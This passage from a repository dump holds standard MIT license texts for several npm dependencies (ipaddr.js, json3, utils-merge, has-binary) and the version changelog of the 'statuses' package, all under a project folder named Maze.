8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/statuses/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.3.1 / 2016-11-11 2 | ================== 3 | 4 | * Fix return type in JSDoc 5 | 6 | 1.3.0 / 2016-05-17 7 | ================== 8 | 9 | * Add `421 Misdirected Request` 10 | * perf: enable strict mode 11 | 12 | 1.2.1 / 2015-02-01 13 | ================== 14 | 15 | * Fix message for status 451 16 | - `451 Unavailable For Legal Reasons` 17 | 18 | 1.2.0 / 2014-09-28 19 | ================== 20 | 21 | * Add `208 Already Repored` 22 | * Add `226 IM Used` 23 | * Add `306 (Unused)` 24 | * Add `415 Unable For Legal Reasons` 25 | * Add `508 Loop Detected` 26 | 27 | 1.1.1 / 2014-09-24 28 | ================== 29 | 30 | * Add missing 308 to `codes.json` 31 | 32 | 1.1.0 / 2014-09-21 33 | ================== 34 | 35 | * Add `codes.json` for universal support 36 | 37 | 1.0.4 / 2014-08-20 38 | ================== 39 | 40 | * Package cleanup 41 | 42 | 1.0.3 / 2014-06-08 43 | ================== 44 | 45 | * Add 308 to `.redirect` category 46 | 47 | 1.0.2 / 2014-03-13 48 | ================== 49 | 50 | * Add `.retry` category 51 | 52 | 1.0.1 / 2014-03-12 53 | ================== 54 | 55 | * Initial release 56 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ipaddr.js/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2011 Peter Zotov 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/json3/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012-2014 Kit Cambridge. 2 | http://kitcambridge.be/ 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy of 5 | this software and associated documentation files (the "Software"), to deal in 6 | the Software without restriction, including without limitation the rights to 7 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 8 | of the Software, and to permit persons to whom the Software is furnished to do 9 | so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | SOFTWARE. -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/utils-merge/LICENSE: -------------------------------------------------------------------------------- 1 | (The MIT License) 2 | 3 | Copyright (c) 2013 Jared Hanson 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-binary/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Kevin Roark 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | --------------------------------------------------------------------------------